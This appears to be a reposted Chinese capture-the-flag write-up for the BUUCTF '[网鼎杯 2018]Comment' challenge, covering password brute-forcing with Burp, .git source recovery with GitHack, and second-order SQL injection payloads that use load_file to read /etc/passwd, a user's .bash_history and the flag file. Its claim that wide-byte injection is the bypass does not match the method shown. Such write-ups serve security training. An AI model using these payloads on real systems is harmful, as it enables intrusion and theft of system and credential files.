当前位置: 首页 > article >正文

【BUUCTF】[网鼎杯 2018]Comment

进入题目页面如下

看到有留言板

点击发帖,随便输入内容,提交

跳转到login.php,页面如下

看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位

用burp suite爆破看看能不能爆破出隐藏的三位

先进行抓包

右键发送到Intruder模块

在隐藏的三个数处添加payload,并按下图设置,并开始攻击

看到长度不同的payload

看到是666

zhangwei

zhangwei666

登录成功

尝试了SQL注入、xss漏洞都无果

用dirsearch扫描根目录试试

dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*

看到多个.git路径,猜测是源码泄露

用GitHack下载源码

我是在kali中下载的GitHack

先进入root用户

sudo su

下载克隆Git Hack库

git clone https://github.com/BugScanTeam/GitHack

使用GitHack时,要先cd一下,在Git Hack目录下进行

cd GitHack

GitHack要用python2

python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/

显示这个则成功

打开GitHack文件下的dist

看到write_do.php文件

打开看到源码

但是并没有发现可以利用的漏洞

发现还需要

git源码的恢复

命令如下

git log --reflog

复制上面commit的第一个内容

git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8

再次打开,得到完整代码

 

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

开始审计

<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";

// 启动会话,用于存储和获取用户的会话信息
session_start();

// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){
    // 若未登录,使用 header 函数将用户重定向到登录页面 login.php
    header("Location: ./login.php");
    // 终止当前脚本的执行,防止后续代码继续运行
    die();
}

// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){
    // 根据 'do' 参数的值进行不同的操作
    switch ($_GET['do'])
    {
        // 当 'do' 参数的值为 'write' 时
        case 'write':
            // 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入
            $category = addslashes($_POST['category']);
            // 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义
            $title = addslashes($_POST['title']);
            // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
            $content = addslashes($_POST['content']);
            // 构建插入数据到 'board' 表的 SQL 语句
            $sql = "insert into board
                    set category = '$category',
                        title = '$title',
                        content = '$content'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为 'comment' 时
        case 'comment':
            // 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义
            $bo_id = addslashes($_POST['bo_id']);
            // 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句
            $sql = "select category from board where id='$bo_id'";
            // 执行 SQL 语句
            $result = mysql_query($sql);
            // 获取查询结果的行数
            $num = mysql_num_rows($result);
            // 如果查询结果的行数大于 0,说明存在符合条件的记录
            if($num>0){
                // 获取查询结果中的 'category' 字段值
                $category = mysql_fetch_array($result)['category'];
                // 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义
                $content = addslashes($_POST['content']);
                // 构建插入数据到 'comment' 表的 SQL 语句
                $sql = "insert into comment
                        set category = '$category',
                            content = '$content',
                            bo_id = '$bo_id'";
                // 执行 SQL 语句
                $result = mysql_query($sql);
            }
            // 将用户重定向到 comment.php 页面,并传递 'id' 参数
            header("Location: ./comment.php?id=$bo_id");
            // 跳出 switch 语句
            break;
        // 当 'do' 参数的值为其他值时
        default:
            // 将用户重定向到 index.php 页面
            header("Location: ./index.php");
    }
}
// 如果没有通过 GET 请求传递 'do' 参数
else{
    // 将用户重定向到 index.php 页面
    header("Location: ./index.php");
}
?>

存在SQL注入

代码使用了 addslashes 函数对用户输入进行转义

addslashes 只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护


SQL注入

注入点值为comment

爆出数据库名

1',content=database(),/*

点击提交,点击详情

提交留言填写*/#用于闭合语句

爆出了数据库名,回显ctf

payload

1',content=(select( load_file('/etc/passwd'))),/*

得到信息,用bash进行读取文件
用户为www,读取他的history文件

1’,content=(select (load_file(‘/home/www/.bash_history’))),/*

得到命令

1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*

读取.DS_Store文件

得到一串十六进制文本

在线十六进制转字符

flag文件是:flag_8946e1ff1ee3e40f.php

回到/var/www/html中读取flag

1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*



http://www.kler.cn/a/547790.html

相关文章:

  • Maven打包保留参数名称
  • 家里WiFi信号穿墙后信号太差怎么处理?
  • vue框架生命周期详细解析
  • Java+机器学习基础:打造AI学习基础Demo
  • 12苍穹外卖之工作台(Apache POI、Excel)
  • SQLServer联合winform 制作一个简单注册登录系统
  • 随手记:小程序setData 数据传输长度为 XXXKB,存在有性能问题!小程序长列表性能优化,uni.createIntersectionObserver
  • 国产编辑器EverEdit - 上下翻滚不迷路(历史编辑位置、历史光标位置回溯功能)
  • 【开源免费】基于SpringBoot+Vue.JS医药管理系统(JAVA毕业设计)
  • 【Java学习】类和对象
  • 【第9章:计算机视觉实战—9.4 计算机视觉在其他领域的应用探索】
  • Linux系统编程之基本信号处理
  • linux--关于makefile
  • 如何使用UniApp实现页面跳转和数据传递?
  • iOS实现生物识别
  • 【k8s应用管理】kubernetes 安全机制
  • 【prompt实战】旅行攻略顾问
  • PHP 基础介绍
  • 青少年编程与数学 02-009 Django 5 Web 编程 14课题、命名空间
  • 2024-arXiv-LlamaFactory: 统一高效微调100多种语言模型